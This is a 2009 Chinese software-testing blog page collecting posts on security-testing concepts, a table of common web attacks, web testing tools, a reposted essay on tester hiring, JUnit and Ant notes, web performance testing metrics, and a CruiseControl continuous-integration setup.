    注意:安全性测试并不最终证明应用程序是安全的,而是用于验证所设立策略的有效性,这些对策是基于威胁分析阶段所做的假设而选择的。

    安全测试内容主要有以下:
    1。 用户认证机制  比如用户口令模式, 数字证书模式,智能卡模式,人像,指纹,声音模式等等。
           可以围绕以下展开:    未经授权是否可以通过绝对路径访问到需要鉴权的资源(网址)?
                                                    登陆是否存在密码输入时显示明文,密码框没有使用标准的?
                                                    退出后是否依然能使用鉴权资源的情况?

    2。 加密机制。   主要涉及 公钥和私钥加密算法。
    3。安全防护策略。 由于TCP/IP协议的脆弱性, 我们通过安全日日志,入侵检测,隔离防护,漏洞扫描等措施。
          测试的内容也就涉及: 模拟非授权攻击 看防护系统是否坚固
                                                    采用成熟的网络漏洞检查工具看系统漏洞
                                                    有关系统补丁是否打上等等
    4。数据备份和修复
          数据是机密的完整的独立的受管理的。
          备份和修复是否及时
          备份和修复是否充分
          数据丢失造成的损失多大等等
    5。 防病毒系统
          是否安装有效杀毒软件?是否能多种工具交叉查杀?等等

    如何开展安全测试, 谈下测试方法。
    1。 功能验证。   安全功能验证的测试方法采用传统的测试方法:白盒黑盒灰盒
    2。 漏洞扫描。  主要有拒绝服务漏洞, 本地用户扩权漏洞,远程用户扩权漏洞。
    3。 模拟攻击。
           服务拒绝型攻击  EG: 泪滴, SYN洪水, SMURF攻击, UDP洪水等等。
           漏洞木马型攻击  EG: 口令猜测,特洛依木马, 缓冲区溢出等。
           信息收集类技术   EG:扫描
           伪装欺骗型攻击: EG: ARP欺骗, IP欺骗等
           侦听技术  就是获取在网络上传输的信息

    常见针对 Web 应用攻击的十大手段

    目前常用的针对应用漏洞的攻击已经多达几百种,最为常见的攻击为下表列出的十种。

    十大攻击手段
    应用威胁 负面影响 后果
    跨网站脚本攻击 标识盗窃,敏感数据丢失… 黑客可以模拟合法用户,控制其帐户。
    注入攻击 通过构造查询对数据库、LDAP 和其他系统进行非法查询。 黑客可以访问后端数据库信息,修改、盗窃。
    恶意文件执行 服务器上执行 Shell 命令 Execute,获取控制权。 被修改的站点将所有交易传送给黑客
    不安全对象引用 黑客访问敏感文件和资源 Web 应用返回敏感文件内容
    伪造跨站点请求 黑客调用 Blind 动作,模拟合法用户 黑客发起 Blind 请求,要求进行转帐
    信息泻露和不正确的错误处理 黑客得到详细系统信息 恶意的系统检测可能有助于更深入的攻击
    被破坏的认证和 Session 管理 Session token 没有被很好的保护 在用户推出系统后,黑客能够盗窃 session。
    不安全的木马存储 过于简单的加密技术导致黑客破解编密码 隐秘信息被黑客解密盗窃
    不安全的通讯 敏感信息在不安全通道中以非加密方式传送 黑客可以通过嗅探器嗅探敏感信息,模拟合法用户。
    URL 访问限制失效 黑客可以访问非授权的资源连接 黑客可以强行访问一些登陆网页、历史网页。

    常见的安全性测试的测试方法,为大家提供测试学习方向:

    1。 功能验证。   安全功能验证的测试方法采用传统的测试方法:白盒黑盒灰盒
    2。 漏洞扫描。  主要有拒绝服务漏洞, 本地用户扩权漏洞,远程用户扩权漏洞。
    3。 模拟攻击。
           服务拒绝型攻击  EG: 泪滴, SYN洪水, SMURF攻击, UDP洪水等等。
           漏洞木马型攻击  EG: 口令猜测,特洛依木马, 缓冲区溢出等。
           信息收集类技术   EG:扫描
           伪装欺骗型攻击: EG: ARP欺骗, IP欺骗等
           侦听技术  就是获取在网络上传输的信息。

  • 管理工具

    2009-03-30 11:17:39

    1、egroupware,协同管理软件,公司现在在使用,今天第一次接触哦!
  • web的测试工具

    2009-03-30 10:32:25

    7款网站开发测试实用工具

    通常在发布新的网站、添加新功能或者升级系统之前,都需要进行测试。对程序员、设计人员和生意人来说,最糟糕的一件事情就是登陆到一个无法使用的网站,这会赶走客户,损害公司的声誉,并会导致更多的工作、更多的头痛事以及更多的利润损失。

      幸运的是,目前有很多用于网络开发测试的强大工具。这些工具可以测试所有你所需要的,从CSS确认到网站速度。所有网站的共同目标都是:确保用户和客户顺利地使用网站服务。使用下面这些工具可以作为网站开发过程的最后步骤。

      1. WebSitePulse测试工具

      网址:http://www.websitepulse.com/

      想要快速测试响应时间、文件尺寸以及链接数量吗?WebSitePulse测试工具提供了一系列快速易用的测试方法,可以给出从网站速度到链接错误等所有的情况。还提供文件大小、转移速度以及DNS的数目。

      2. 多浏览器测试工具Xenocode Browser Sandbox

      网址:http://www.xenocode.com/browsers/

      浏览器测试是网站开发中最乏味和令人沮丧的部分。设计人员和程序员在测试网站在IE6平台效果的时候经常会大呼小叫。浏览器测试中另一个困难的部分就是没有任何的开发人员能够在同一台计算机中拥有所有的浏览器来进行测试。

      进入XenoCode Brower Sandbox,它可以同时虚拟所有的常用浏览器,而不需要安装软件。遗憾的是,XenoCode Browser Sandbox在某些浏览器中运行速度很慢,并且目前还没有Mac版本。

      3. Firebug Firefox 扩展插件

      网址:http://getfirebug.com/

      这是所有的程序员最喜欢的扩展软件,Firebug是测试前端代码和CSS的最好的调试软件。如果出现任何不符合格式的图像或类型,最好的解决办法就是用Firebug检查出来。甚至可以在里面改变样式来检查网站是如何在浏览器中的渲染效果。

      4. Load Impact负载测试软件

      网址:http://loadimpact.com/

      如果一个网站正在运行病毒、Digg、Twitter和StubleUpon,一次汇聚了多种应用程序,它能够承受这种负载吗?Load Impact可以帮助回答这个问题。它在网络服务器上模拟大量的用户下载,来决定该网站是否能够承受高流量负荷。该软件拥有一个免费版本和几个付费版本。

    5. Safari Web Inspector

      网址:http://www.apple.com/safari/

      苹果公司的Safari网络浏览器的其中一个亮点就是网络监测功能。Web Inspector,仅在打开开发面板之后才可使用,它能显示类型表单、图像、网页上的脚本。虽然如此,Web Inspector最实用的部分就是它的Network功能,该功能实时地显示文件和脚本从服务器转换到浏览器的命令和速度。可以使用这款软件找出哪个脚本、文件或图像在浏览器中占用最大的空间,然后进行调整。

      6. Web Developer Firefox Extension

      网址:https://addons.mozilla.org/en-US/firefox/addon/60

      Web Developer是一款健壮的Firebox 插件,当测试一个网站的时候,所有开发人员都要参与其中。它提供了广泛的测试,包括测试受损的图片,测试多重屏幕尺寸的布局,查看cookie信息以及验证标记。对Firefox用户来说它是最终的测试工具。

      7. W3C 验证服务

      W3C是所有网站验证的标准。W3C Validator以工业标准为基础,查看网站的标记并显示错误信息。它有多种语言和种类。 下面是一些重要的验证工具:

      -W3C Markup Validation 网址: http://validator.w3.org/

      -W3C CSS Validation 网址:http://jigsaw.w3.org/css-validator/

      -W3C mobileOK Checker 网址:http://validator.w3.org/mobile/

      -W3C Link Checker 网址:http://validator.w3.org/checklink

      -W3C Feed Validation Service 网址:http://validator.w3.org/feed/

      这些工具都可以用来尽早地检测出Bug来保证网站稳定高速运行的。至少可以让开发人员意识到,除了对着IE6显示的糟糕页面大呼小叫之外,他们还有很多选择。

  • 一篇不错的文章

    2009-03-20 15:35:41

    浮躁的国内测试界-2006年测试人员招聘感悟

    作者:陈大卫 来源:希赛网软件测试频道

    我面试的测试应聘人员大多是有一定从业经验的测试人员,其中不乏优秀者,但是也有相当多的应聘人员反映出这样那样的问题,概括说来就是浮躁,具体拆解来看主要表现在以下几点。

    一、根基不牢

    问题:利用等价类划分的方法,对某问题设计测试用例。

    分析:98%以上的应聘者只知道按照有效等价类和无效等价类进行划分,殊不知此种分类方法只是等价类划分的一个典型应用而已,等价类划分远非只能划分为有效和无效两类。根据种种划分依据,还可以进一步划分很多其他类别。

    问题:根据事件描述,画出对应的因果图。

    分析:标准答案中只画了两条恒等,两条非,一个与,一个或。如此简单的问题,上百名应聘者中竟然无一人答对,痛心啊。黑盒测试方法就那么几种,既然你已知这个名,怎么就不知道多看几眼。

    ★ 小结:

    上面提到的是软件测试的最基本的方法,作为从业测试实际工作已经有1-2年的应聘人员,未能真正领悟,实属不应该,心浮气躁,忽视了你身边最简单,也是最厉害的技能。根基不牢,怎么可能把测试做深。

    二、专业不精

    问题:音视频文件都有哪些格式,这些格式之间有什么差别?

    分析:此问题是问那些做过多媒体方面测试的,但是我们的应聘者向来都是拿来主义,别人给我什么媒体文件我就用什么做测试,而根本不管不问。为什么MIDI文件比WAV文件小那么多?我们如何知道扩展名是.Mpeg的文件是Mpeg1格式的还是Mpeg2格式


    的?,面对这些问题,应聘者默默无语,只是无奈的笑笑。不去看别人,想想自己测试涉及的专业,是否把那个行业知识搞清楚了呢?

    问题:测试脚本运行不畅如何调试?

    分析:此问题是问那些标明自己熟练掌握WinRunnerRobotQTP等测试工具的应聘人员,但是当真正问到他们关于脚本的具体调试时,有7成以上人员表示他们只是参加测试培训老师讲过,或者自己在网上看过相关资料,另外有2成以上人员表示他们虽然用过,但是只是简单的录制回放,根本不会自己调试。可能是迫于无奈吧,简历里面什么都不写,可能面试的机会都没有,但是简历如此夸大的来写,终归是浪费自己的面试时间和路费。

    ★ 小结:

    从事测试仅1-2年时间,要想测试也精通,专业也精通确实不易,但是不说精通,至少也该知道个60%才对的起你的测试工作。一两年时光如此荒废,静下心来反思一下,身边还有哪些技能我们应该掌握扎实一点呢。

    三、无测试体系概念,忽视理论

    问题:请说出软件测试的定义,BUG的定义。

    分析:99%的人不能说出这两个测试名词的定义,只是在给我解释测试是为了发现bug之类的片面理解,残留的几个人也说得不够准确。这两个词目前尚不能说业内已经有了成熟统一的定义,但是无论是对是错,身为测试人员已经数年,自己竟然说不出这两个词的概念,多少也说不过去啊。有些人和我说,理论名词概念不重要,我会做测试就是了。想想金庸老先生早就告诉我们,武功仅有招式是不够的,必须配合上什么心法口诀才能行。你只会测试执行的招式,却不懂测试理论的心法,怎么能够修炼成上乘的软件测试呢?

    问题:请介绍一下你们的测试流程,流程和过程有什么不同,为什么好的测试需要好的流程?

    分析:但凡做过12年测试的人都能给我说出他们先做什么后做什么,但是当我继续问这是否可以叫做过程?流程和过程有什么差别,应聘者一棒子被打晕,继续追问为什么好的测试需要好的流程的时候,早已经找不到东南西北了。每天公司各项制度叫你做什么你就做什么,让你怎么做你就怎么做,完全不管不顾为什么,那么自己岂不成了没头脑的工具。这样你能干的工作别人也能做,自己的优势不就没有了吗。


     

    ★ 小结:

    目前测试业内流传着学院派和实践派的说法,学院派的理论给人的感觉往往是好听但不实用,而实践派的知识,往往能够立即见效。所以眼下测试培训往往实践派的更受欢迎。继续引用金庸先生的观点,练武分练内气宗,练外剑宗,但是真正的高手是内外兼修。如果我们不想只做普通的测试小弟子的话,就要理论实践并重,方能有所作为。

    四、周边知识知之甚少

    问题:能给我介绍一下软件工程中的瀑布模型吗?

    分析:又是8成应聘者不会回答,都是曾在遥远的学生时代有所耳闻,现今早已忘得一干二净了。软件测试因何而生——软件危机,软件危机导致软件工程的兴起,软件工程中又包含软件测试,就好像鱼儿活在水里,如果没有软件工程这个水,哪里能够养活这软件测试的鱼,如果我们对于身边的软件工程不够了解,怎么可能在里面自由的畅游呢。

    问题:用你最熟悉的开发语言实现sum=1+2+3+…+100

    分析:保守统计7成以上的应聘者写出来的程序无法执行或者运行结果错误,更少有人能够一气呵成,而且精准。这道编程题难吗?肯定不难,那么为何答错,自己没有真正写过程序,即使写过几行,也早就是如烟往事了。做测试一定需要懂开发吗?这个问题讨论以久,当然不一定,但是如果要做好测试,做深测试,分析问题原因,提出问题解决方案,编写测试脚本或工具,哪一个又能离开软件开发呢?

    ★ 小结:

    我们学习测试也应该有个先后顺序,有步骤。掌握周边知识的紧迫程度可能不如测试知识和行业知识。但是对于我们已经从业1-2年的测试人员来说,学校里面学到的知识不应该丢,之后的发展中,周边知识的学习也应该开始了。周边知识的范畴其实很广,还包括各种其他测试理念的学习,机械工业出版社翻译的那套测试丛书就很不错,观点众多而新颖,博众家之长,集大成,向来都是大家风范。

    五、缺乏必要的责任心、细心、耐心、虚心等

    问题:请数出下图中三角形的个数(平面图,有几根弧线做干扰)

    分析:我总是问自己,这道题真有这么难吗?连中小学生都能数对的十几个三角形,到了我们这二十几岁的年轻人手中,正确率才1%,为什么?其实就是现在我们已经很少有人能够静下心来,耐心细致的去做事情了。很多应聘者告诉我她的优点就是踏实,坐的住,正适合这繁琐的测试工作。我需要的不是坐在那里不做事或者做错事的人,而是需要能够按时保质量完成测试工作的测试人员。

    问题:你离职的原因?

    分析:这是面试中最常见的问题了。应聘者往往也是充分准备,理由多种多样,但是看看应聘者的工作记录统计,70%应聘者平均跳槽频率是1/次(实习情况除外),不会都那么凑巧吧,赶上什么公司倒闭,每隔一年就会想一次自己学不到东西,需要去外面看看。而在我看来,真正的原因更多的应该是希望通过跳槽提高工资,或者因为自身水平不足被公司炒鱿鱼吧。

    ★ 小结:

    我并不认为所有的人都适合做测试。非技术素质方面,这点或者那点不足够优秀也很正常,心浮气躁也可以理解。但是作为用人单位,理解归理解,却也不会用不胜任岗位,或性价比不高的人员。那么对于此类应聘者,我的忠告就是,要么你另谋高就,要么你就放低姿态,培养好你必备的素质后再谈。

    六、缺乏诚信

    这一点本应该被归在上一条素质中,但是这点的重要性我认为远超过了上一条所列各项,因此单独提出。相关表现主要体现在:

    ○ 报自己历史工薪;

    ○ 笔试题目作弊;

    ○ 编造离职原因;

    ○ 虚报学历,工作经验;

    ○ 夸大自己工作技能等。对于严重缺乏诚信的,一旦发现,其他表现再好,也无济于事了。

    欢迎转载此文,转载时请注明文章来源:文斯测试技术研究中心 http://blog.csdn.net/vincetest

     

  • junit学习记录

    2009-03-10 15:09:33

    1 如何用junit写测试?

    1、创建一个TestCase的子类: 

    package junitfaq;
    import java.util.*;
    import junit.framework.*;
    public class SimpleTest extends TestCase {
    public SimpleTest(String name) {
    super(name);
    }
    2、写一个测试方法断言期望的结果:
    public void testEmptyCollection() {
    Collection collection = new ArrayList();
    assertTrue(collection.isEmpty());
    }
    注意:JUnit推荐的做法是以test作为待测试的方法的开头,这样这些方法可以被自动找到并被测试。
    3、写一个suite()方法,它会使用反射动态的创建一个包含所有的testXxxx方法的测试套件:
    public static Test suite() {
    return new TestSuite(SimpleTest.class);
    }
    4、写一个main()方法以文本运行器的方式方便的运行测试:
    public static void main(String args[]) {
    junit.textui.TestRunner.run(suite());
    }
    }
    5、运行测试
  • ant使用过程中的问题

    2009-03-02 15:20:33

    1 ant中发送邮件

      <mail password="123" user="aaa" messagemimetype="text/html"  subject="Test sendmail" mailport="80" mailhost="mail.fulong.com.cn">
          <from address="aaa@fulong.com.cn"/>
       <to address="aaa@fulong.com.cn"/>
       <message>aaaaaaaaaaaaaaaa</message> 
       </mail>

    注意:Ant发送邮件需要的相关支持包有:mail.jar和activation.jar
    如果有错误,请确认这两个包是否已经存在于ant目录的lib中。

    2 邮件服务器主机链接不上

    nested   exception   is:   class   javax.mail.MessagingException:   Could   not   connect   to   SMTP   host:

    原因,邮件服务器的端口号不对,邮件服务器的默认端口号是25.

    3 判断资源文件是否存在

    <?xml version="1.0" encoding="UTF-8"?>
    <project name="testCondition">
        <path id="all.test.classes">        
             <pathelement location="bin"/>
         </path>
      <target name="mail">
     <mail   mailhost="pop.126.com "   mailport="25"   subject="Test   build">  
        <from   address="luojing_happy@126.com"/>  
        <to   address="luojing_happy@126.com"/>  
         <message>The   nightly   build   has   completed</message>  
     
      </mail> 
    </target>
        <target name="test">
            <condition property="scondition">
                <available resource="TestTest.class">
                    <classpath refid="all.test.classes" />       
                </available>
            </condition>
            <antcall target="isTrue"></antcall>
            <antcall target="isFalse"></antcall>       
        </target>
        <target name="isTrue" if="scondition">
         <antcall target="mail"/>


            <echo>is ture</echo>
        </target>
        <target name="isFalse" unless="scondition">
            <echo>is false</echo>
        </target>
    </project>

  • Web下的整体测试

    2009-02-26 17:28:41

    随着Internet的日益普及,现在基于B/S结构的大型应用越来越多,可如何对这些应用进
    行测试成为日益迫切的问题。有许多测试人员来信问我B/S的测试如何做,由于工作较繁忙,
    对大家提出的问题也是头痛医头脚痛医脚,没有对WEB的测试过程做一个整体的概述。希望通
    过本篇能够让大家了解大型Web应用是如何来进行测试的。

        B/S下的功能测试比较简单,关键是如何做好性能测试。目前大多数的测试人员认为只要
    跑一些测试工具证明我的产品是可以达到性能的就ok了,为了证明而去测试是没有任何价值
    的,关键是要发现产品性能上的缺陷,定位问题,解决问题,这才是测试要做的。

        首先我们从两个方面分析如何进行WEB测试,从技术实现上来讲一般的B/S结构,无论
    是.NET还是J2EE,都是多层构架,有界面层,业务逻辑层,数据层。而从测试的流程上来说,
    首先是发现问题,分析问题,定位问题,再由开发人员解决问题。那么B/S的结构的测试如何
    来做?

        如何发现问题是我首先要介绍的,在做WEB测试之前你需要一些资料,比如产品功能说明
    书,性能需求说明书,不一定很完善,但一定要有,明确测试目标,这是基本的常识,可是我
    往往看到的是已经开始动手测了,但还不知自己的系统要达到的性能指标是什么。这里我简单
    讲一下测试的性能指标:

    1、通用指标(指Web应用服务器、数据库服务器必需测试项):
    * ProcessorTime: 指服务器CPU占用率,一般 平均达到70%时,服务就接近饱和;
    * Memory Available Mbyte : 可用内存数,如果测试时发现内存有变化情况也要注意,如果
    是内存泄露则比较严重;
    * Physicsdisk Time : 物理磁盘读写时间情况;

    2、Web服务器指标:
    * Avg Rps: 平均每秒钟响应次数=总请求时间 / 秒数;
    * Avg time to last byte per terstion (mstes):平均每秒业务角本的迭代次数 ,有人会
    把这两者混淆;
    * Successful Rounds:成功的请求;
    * Failed Rounds :失败的请求;
    * Successful Hits :成功的点击次数;
    * Failed Hits :失败的点击次数;
    * Hits Per Second :每秒点击次数;
    * Successful Hits Per Second :每秒成功的点击次数;
    * Failed Hits Per Second :每秒失败的点击次数;
    * Attempted Connections :尝试链接数;

    3、数据库服务器指标:
    * User 0 Connections :用户连接数,也就是数据库的连接数量;
    * Number of deadlocks:数据库死锁;
    * Butter Cache hit :数据库Cache的命中情况;

        上面的指标只是一些通用的指标,起到抛砖引玉的作用,对于不同的应用你还必需作相应
    的调整,比如程序使用的是.NET技术的,则必需加入一些针对性的测试指标。对于这些指标的
    详细了解,你可以参考Windows 下面的 SystemMonitor的帮助与LoadRunner、ACT的帮助。对
    于发现问题,指标的设置非常重要,它会帮你定性的发现一些错误。对于定性的压力测试我就
    不做过多的分析,工具很多,流行的主要有LoadRunner,ACT,WAS,WebLoad,各个工具有它的使
    用范围,其中我各个认为LoadRunner 最全面,它提供了多种协议的支持,对复杂的压力测试
    都可以胜任,WAS与ACT则对微软的技术支持的比较好,其中WAS支持分布式机群测试,ACT则是
    与.NET集成比较好,支持ViewState (.NET 下控件缓存的支持) 的测试,当时我用时,其它
    测试工具还不支持,现在应该支持了吧,呵呵。在这一阶段测试你要不断的跟据系数的测试目
    标进行变化,一开始由于系统过于庞大,所以我们要分成若干个子系统,各个子系统的性能目
    标必需明确,主要是并发指标定一个阀值,同时设定一些与系统相关的测试参数,应用服务
    器,数据库服务器都要有,对达不到阀值的与一些通用参数有问题的子系统进行深入分析。比
    如它的并发达不到你的要求,证明子系统性能有问题,或是数据库用户连接过高,程序没有释
    放用户连接等等。这个我们要对子系统进行详细测试,由于B/S 结构下,图片的请求对性能的
    影响较大,所以我们对子系统测试时要分两个部分进行,一、非程序部分,即图片等等;二、
    应用程序本身。通过事务或函数的分离,可以把这两块实现单独的测试,具体做法参考各个工
    具的手册,我这里就不做说明。对子系统的测试参数的设置要求则更高,它有助你后面精确的
    定位问题,比如对异常,死锁,网络流量等等前面没有注意到的情况的增加,同时你要注意增
    加测试参数的收集对系统的性能影响比较大,所以一般不要超过10个,刚刚介绍的整体的性能
    测试指标也不要增加很多,这样影响会小一点。最后在这一阶段要说明的是数据库的数据量会
    很大程度的影响性能,所以要根据前面的性能需求说明书向数据库中模拟相应的数据量,来进
    行测试,这样才有更高的可信度。

        上面所说的是对问题的发现,下面就是分析问题原因,这一步的要求比较高,一般由测试
    人员与程序员配合完成,当然如果你有相当的开发经验,再做这方面的测试,就更为难得。下
    面我们说说如何精确定位问题,出现问题的可能性可能有很多种,大致分以下几种,一、性能
    达不到目标;二、性能达到目标,但有一些其它的问题,比如异常,死锁,缓存命中过低,网
    络流量较大;三、服务器稳定性的问题,比如内存泄漏……。要发现这些问题起马的要求要有
    一款使用的比较称心的性能分析与优化工具,比如微软的.NET下就有自己开发的工具,对
    Borland的Java开发工具中也有类似的工具,但我个人认为更好的工具是Rose下的Purify与
    Quantify,主要是他对.net 与java ,C++都有支持,而且分析效果特别专业,我们先了解一下
    Rational Purify, Rational Purify 能自动找出Visual C/C++ 和Java 代码中与内存有关的
    错误,确保整个应用程序的质量和可靠性。在查找典型的Visual C/C++ 程序中的传统内存访
    问错误,以及Java,C# 代码中与垃圾内存收集相关的错误方面;Rational Quantity 则是一
    款针对函数级的性能分析利器,使用它你可以从图形化的界面中得到函数调用的时间,百分比
    与次数,以及子函数所占时间,使你可以更快的定位性能瓶颈。

        我们先说性能优化与异常的处理,性能优化有一个原则,即用时间比例最大的进行优化,
    效果才最明显,比如有个函数它的执行时间为30秒,如果你优化了一百倍则执行时间为0.3秒,
    提升了29.7秒,而如果它的执行时间为0.3秒,优化后为0.003秒,实际提升了0.297秒,提升
    的效果并不明显,而且写过程序的人都知道,后者性能优化的代价更大。在性能优化的过程
    中,一般是先数据库,后程序,因为数据库的优化不需要修改程序,修改的风险很小。但如何
    才能确定是数据库的问题,这就需要技巧,在使用Quantity时,你一路分析下去,大多数最终
    会发现,是数据库查询函数占用时间比较大,比如什么,SqlCmd.ExecuteNoQuery等等数据库
    执行函数,这时你就需要分析数据库,呵呵。数据库的分析原则是先索引,后存储过程,最后
    表结构视图的优化,索引的优化是最简单也是通常最有效的方法,如果合理的使用会带来意想
    不到不到的效果。在这里我要给大家简单的介绍一下我的最爱,SQLProfile,SQL查询分析器,
    Precise,SQLProfile是一个SQL语句跟踪器,可以跟踪程序流程使用的SQL语句与存储过程,结
    合查询分析器对SQL的分析,可以对索引的优化做出很好的判断,但索引也不是万能的,在增
    删改较多的表,索引过多会引起这些操作的性能下降,所以判断还是需要一定的经验。同时针
    对用户使用频度最高的SQL进行优化也是最行之有效的,这时我则需要Precise,它可以观测某
    一个较长时间内的SQL语句的执行情况。数据库优化的潜能挖光后,如果还是达不到性能要求
    或是还有问题,则要从程序来进行优化,这是程序员做的事,测试人员要做的,就是告诉他
    们,哪个函数执行过多引起了性能下降,比如异常过多,某个循环过多,或是DCOM调用过多等
    等,但说服程序员也是一件不容易的事,你要在这一阶段做的出色一定要有几年的编程经验,
    并且要让程序员感到听你的性能会有提升,这是一件很不容易的事情哦。

        内存的分析,一般是一个长期分析的过程,要做好不容易,首先要有长期奋战的准备,其
    次内存泄漏的分析最好是放在单元测试之中同步进行,而不是要等到最后再去发现问题,当然
    出了问题也只好面对,一般这类问题都是在服务器运行了很久才暴露出来,一旦发现问题后,
    则需要定位问题,分析的原则采用子系统相互独立运行,找到最小问题的系统集,或是借助内
    存分析工具观察内存对象情况,初步定位问题,再用Purify进行运行时分析,通常C++ 内存问
    题比较多,Java与.NET比较少,一般由GC不合理引起。C++的内存错误就比较多了,主要常见
    的有:

    1、 Array Bounds Read (ABR) :数组越界读
    2、 Array Bounds Write (ABW):数组越界写
    3、 Beyond stack Read (BSR):堆栈越界读
    4、 Free Memory Read(FMR):空闲内存读
    5、 Invalid pointer Read(IPR):非法指针阅读
    6、 Null Pointer Read(NPR): 空指针阅读
    7、 Uninitialized Memory Read(UMR):未初始化内存读写
    8、 Memory Leak:内存泄漏

    注:如果需要更多的信息,可以参见Purify的帮助信息。

        顺便提一句,为什么我要说单元测试时做这个比较好,由于单元测试针对的是单一功能,
    这时结合单元测试案例做内存分析会更快的定位问题,同时由于问题较早的发现,则后期的风
    险则会减少,当然如果结合代码覆盖工具PureCoverage 来做就更完美了。

        注:本篇只是对B/S应用的测试过程作一个整体的描述,对某一个阶段使用的工具只是作
    大概的介绍,你也可使用你比较熟悉的工具达到相同的目标。
  • 持续集成 Java手册

    2009-02-18 14:23:01

    持续集成 Java手册

    一、概念

    Martin Fowler的文章:Continuous Integration  中文翻译:持续集成

    二、工具

    传统工具:VisualStudio.Net,VisualSourceSafe,Rational ClearCase

    自动编译工具:Ant

    回归测试工具:JUnit

    代码检查工具:CheckStyle

    持续集成工具:CruiseControl

    三、步骤

    • CruiseControl监控远程版本控制系统的变化

    • 变化发生时CruiseControl调用编译工具进行编译(Ant等)

    • 编译成功后调用JUnit进行回归测试

    • 编译成功后调用CheckStyle进行代码检查

    • 完毕后将编译结果、测试结果、代码检查结果发送至开发人员、主管经理,并发布至网站,甚至报警器

        所有这一切都是按照编制好的脚本自动进行的

    四、实施示例

    目前我们使用的是ClearCase,主控软件为CruiseControl,其脚本文件为cccc.xml

    • 配置远程版本控制系统

    <modificationset quietperiod="30">
      <clearcase branch="main" viewpath="D:/cc_view/chelseafc/Nucleus2.0/Port" recursive="true" />
      </modificationset>
    • 配置编译工具

    <schedule interval="30">
      <ant antscript="C:/Java/JBuilder2005/thirdparty/ant/bin/ant.bat" buildfile="D:/cc_view/chelseafc/Nucleus2.0/Port/clearcase-build.xml" target="cleanbuild" multiple="1" />
      </schedule>
    • 配置测试用例(在ant的配置文件中)

    <target name="test" depends="init" description="Run unit tests">
      <delete dir="${junit.results}" />
      <mkdir dir="${junit.results}" />
    - <junit fork="yes" haltonfailure="yes">
    - <classpath>
      <pathelement location="${build.dir}" />
      </classpath>
      <formatter type="plain" usefile="false" />
      <formatter type="xml" />
    - <batchtest todir="${junit.results}">
      <fileset dir="${build.dir}" includes="**/*Test.class" />
      </batchtest>
      </junit>
      </target>
    • 配置报告形式
    <publishers>
      <currentbuildstatuspublisher file="currentbuild.txt" />
    - <htmlemail mailhost="mail.chelseafc.com.cn" returnaddress="workflow_engine@chelseafc.com.cn" subjectprefix="ContinuousIntegration:" buildresultsurl="http://chelsea:8044/cruisecontrol/buildresults" spamwhilebroken="true" xsldir="F:/software/Agile.Net/cruisecontrol-2.2/reporting/jsp/xsl" css="F:/software/Agile.Net/cruisecontrol-2.2/reporting/jsp/css/cruisecontrol.css" logdir="D:/Tomcat 4.1/webapps/cruisecontrol/samplelogs">
      <always address="chelsea@chelseafc.com.cn" />
      <always address="ajax@chelseafc.com.cn" />
      <map alias="chelsea" address="chelsea@chelseafc.com.cn" />
      </htmlemail>
      </publishers>
    • 其中CruiseControl暂时没有提供代码检查工具的支持,建议使用Ant来调用CheckStyle,示例如下(没有真正运行过):
    <target name="web.checkstyle">
      <mkdir dir="${target.temp}/checkstyle" />
      <mkdir dir="${target.web}/checkstyle" />
    - <taskdef resource="checkstyletask.properties">
    - <classpath>
      <fileset dir="${support.tools}/checkstyle31" includes="**/*.jar" />
      </classpath>
      </taskdef>
    - <copy file="${support.tools}/checkstyle31/custom.xml" overwrite="true" tofile="${target.temp}/checkstyle/custom.xml">
    - <filterset>
      <filter token="source.java" value="${basedir}/${source.java}" />
      <filter token="target.checkstyle" value="${basedir}/${target.temp}/checkstyle" />
      </filterset>
      </copy>
    - <checkstyle. config="${target.temp}/checkstyle/custom.xml" failOnViolation="false">
      <fileset dir="${source.java}/main" includes="**/*.java" />
      <formatter type="plain" />
      <formatter type="xml" toFile="${target.temp}/checkstyle/checkstyle_errors.xml" />
      </checkstyle>
      <style basedir="${target.temp}/checkstyle" destdir="${target.web}/checkstyle" includes="checkstyle_errors.xml" style="${support.tools}/checkstyle31/checkstyle-noframes.xsl" />
      </target>

    五、几点提示

    • CruiseControl会自动根据本地ClearCase的View监控远程VOB
    • 其实除了监控远程版本控制系统外其它的任务都可以由Ant来完成,CC只负责监控变化并调用Ant即可
    • 可以为cruisecontrol.bat加入启动参数“-port 8055”,这样可以用JMX(http://localhost:8055)来控制cc
    • 最好避免中文路径,否则就需要手工为几个Xml格式的文件,如cc的report Servlet的Web.xml等加入编码方式“<?xml version="1.0" encoding="UTF-8" ?>,或者将中文路径映射为虚拟硬盘:“subst Y: "D:/cc_view/chelsea/Platform/开发/Nucleus2.0/Source"”
    • 中文log无法正常显示时,需要设置CruiseControl配置文件中<log>元素的“encoding”属性,如:
      <log dir="D:/Tomcat 4.1/webapps/cruisecontrol/samplelogs" encoding="utf-8">
        <merge dir="D:/cc_view/chelseafc/Nucleus2.0/Port/test-results" />
      </log>
    • 编译失败后,在下次checkin之前,一般不需要重新编译,这时可设置<project >的“buildafterfailed”属性为false来避免重新编译
    • <htmlemail>的几个属性好像没有缺省设置,虽然文档里说从2.1.7开始有缺省设置,包括xsldir,css,logdir
    • 各种工具的安装、使用,在各自的文档里都非常详细,网上亦有无数资源

    六、参考资料

    • DailyBuild全攻略
    • Draco.Net
    • 持续集成.Net手册
  • 1093/6<123456>